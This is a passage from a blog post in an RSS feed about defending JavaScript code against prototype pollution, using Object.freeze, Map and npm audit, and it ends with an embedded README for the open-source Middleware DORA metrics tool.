&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;freeze&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__proto__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;evil&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;evil&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;evil&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="c1"&gt;// false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Map()&lt;/code&gt;&lt;/strong&gt; : We can also objects like &lt;code&gt;Map&lt;/code&gt; which provide built in protection. Although a map can still inherit malicious properties, they have a built-in get() method that only returns properties that are defined directly on the map itself.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hacked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;polluted&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;safeObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nx"&gt;safeObj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;John&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nx"&gt;safeObj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hacked&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;polluted&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nx"&gt;safeObj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hacked&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// undefined&lt;/span&gt;
&lt;span class="nx"&gt;safeObj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// John&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dependency Security&lt;/strong&gt; : We can take all the precautions while writing our code, but it takes only a single vulnerable library to break it all apart. So it is very important to only use secure libraries. Luckily, &lt;code&gt;npm&lt;/code&gt; provides a built-in command called &lt;code&gt;npm-audit&lt;/code&gt; which scans your project for known vulnerabilities.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm audit
npm audit fix
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Final thoughts
&lt;/h2&gt;

&lt;p&gt;And there you have it folks! We have successfully turned a shopping cart into our own hacking playground. But remember, with great power comes great responsibility (and potentially some very confused developers). &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lk9lsd1yvti7kv1wnyp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lk9lsd1yvti7kv1wnyp.png" alt="Meme"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, whether you're building the next Amazon or just trying to keep your JavaScript objects in line, keep this in mind. After all, you wouldn't want your users getting a 100% discount on everything, would you? (Or maybe you would, in which case, can we be friends?) &lt;/p&gt;

&lt;p&gt;Now that you're armed with this prototype pollution prowess, why not put your skills to the test? &lt;strong&gt;Think you're a hotshot hacker after this little adventure&lt;/strong&gt;? Well, we've got a challenge for you!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/middlewarehq/middleware" class="ltag_cta ltag_cta--branded" rel="noopener noreferrer"&gt;⚡️ Try and break the Middleware repo!&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;Go ahead, give it your best shot 🚀.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl41npkz0my7l8fsootn0.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl41npkz0my7l8fsootn0.gif" alt="Bring it on"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stay safe out there in the JavaScript world, and may our objects never get polluted! (Unless, of course, you're trying to break our app – in which case, bring it on! 😛)&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/middlewarehq" rel="noopener noreferrer"&gt;
        middlewarehq
      &lt;/a&gt; / &lt;a href="https://github.com/middlewarehq/middleware" rel="noopener noreferrer"&gt;
        middleware
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      ✨ Open-source DORA metrics platform for engineering teams ✨
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;p&gt;
&lt;a href="https://www.middlewarehq.com/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fmiddlewarehq%2Fmiddleware%2Fraw%2Fmain%2Fmedia_files%2Flogo.png" alt="Middleware Logo" width="300px"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Open-source engineering management that unlocks developer potential&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://github.com/middlewarehq/middleware/actions/workflows/build.yml" rel="noopener noreferrer"&gt;&lt;img alt="continuous integration" src="https://camo.githubusercontent.com/d72013fe354cb76bdb62fae188d011c4d1bce7723189bacad6cbde6387cf52e6/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f616374696f6e732f776f726b666c6f772f7374617475732f6d6964646c657761726568712f6d6964646c65776172652f6275696c642e796d6c3f6272616e63683d6d61696e266c6162656c3d6275696c64267374796c653d666f722d7468652d6261646765"&gt;&lt;/a&gt;
&lt;a href="https://github.com/middlewarehq/middleware/graphs/commit-activity" rel="noopener noreferrer"&gt;&lt;img alt="Commit activity per month" src="https://camo.githubusercontent.com/b694441288287fd6f4c8750f3887fcc6853aef9bfc84ee8a0e1e490a7633639a/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f636f6d6d69742d61637469766974792f6d2f6d6964646c657761726568712f6d6964646c65776172653f7374796c653d666f722d7468652d6261646765"&gt;&lt;/a&gt;
&lt;a href="https://github.com/middlewarehq/middleware/graphs/contributors" rel="noopener noreferrer"&gt;&lt;img alt="contributors" src="https://camo.githubusercontent.com/15f7e201a0b0e240425157b1a7251f24a91dcd6b6bbec76af4ad66efda00eeba/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f636f6e7472696275746f72732d616e6f6e2f6d6964646c657761726568712f6d6964646c65776172653f636f6c6f723d79656c6c6f77267374796c653d666f722d7468652d6261646765"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://opensource.org/licenses/Apache-2.0" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/44fae73fb8fb80dc9f5673dc4e1d0e57b1ac81da1166a70c8a5ce52bb39ed67f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f617061636865253230322e302d707572706c652e7376673f7374796c653d666f722d7468652d6261646765266c6162656c3d6c6963656e7365" alt="license"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/eab8dfd78113b2679d98f9f33a66e3a157276c68cc4cf3541fa1287f4dddb379/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6d6964646c657761726568712f6d6964646c65776172653f7374796c653d666f722d7468652d6261646765"&gt;&lt;img src="https://camo.githubusercontent.com/eab8dfd78113b2679d98f9f33a66e3a157276c68cc4cf3541fa1287f4dddb379/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6d6964646c657761726568712f6d6964646c65776172653f7374796c653d666f722d7468652d6261646765" alt="Stars"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://mhq.link/oss-community" rel="nofollow noopener noreferrer"&gt;Join our Open Source Community&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/middlewarehq/middleware/blob/main/media_files/banner.gif"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fmiddlewarehq%2Fmiddleware%2Fraw%2Fmain%2Fmedia_files%2Fbanner.gif" alt="Middleware Opensource"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Introduction&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Middleware&lt;/strong&gt; is an open-source tool designed to help engineering leaders measure and analyze the effectiveness of their teams using the &lt;a href="https://dora.dev" rel="nofollow noopener noreferrer"&gt;DORA metrics&lt;/a&gt;. The DORA metrics are a set of &lt;a href="https://dora.dev/guides/dora-metrics-four-keys/" rel="nofollow noopener noreferrer"&gt;four key values&lt;/a&gt; that provide insights into software delivery performance and operational efficiency.&lt;/p&gt;

&lt;p&gt;They are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deployment Frequency&lt;/strong&gt;: The frequency of code deployments to production or an operational environment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lead Time for Changes&lt;/strong&gt;: The time it takes for a commit to make it into production.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mean Time to Restore&lt;/strong&gt;: The time it takes to restore service after an incident or failure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Change Failure Rate&lt;/strong&gt;: The percentage of deployments that result in failures or require remediation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Table of Contents&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/middlewarehq/middleware#introduction" rel="noopener noreferrer"&gt;Middleware - Open Source&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-features" rel="noopener noreferrer"&gt;Features&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/middlewarehq/middleware#-quick-start" rel="noopener noreferrer"&gt;Quick Start&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-installing-middleware" rel="noopener noreferrer"&gt;Installing Middleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-troubleshooting" rel="noopener noreferrer"&gt;Troubleshooting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;a href="https://github.com/middlewarehq/middleware#-developer-setup" rel="noopener noreferrer"&gt;Developer Setup&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-using-gitpod" rel="noopener noreferrer"&gt;Using Gitpod&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-using-docker" rel="noopener noreferrer"&gt;Using Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-manual-setup" rel="noopener noreferrer"&gt;Manual Setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-usage" rel="noopener noreferrer"&gt;Usage&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-how-we-calculate-dora-metrics" rel="noopener noreferrer"&gt;How we Calculate DORA&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-roadmap" rel="noopener noreferrer"&gt;Roadmap&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-contributing-guidelines" rel="noopener noreferrer"&gt;Contributing guidelines&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;…&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;
&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/middlewarehq/middleware" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


</description>
      <category>javascript</category>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
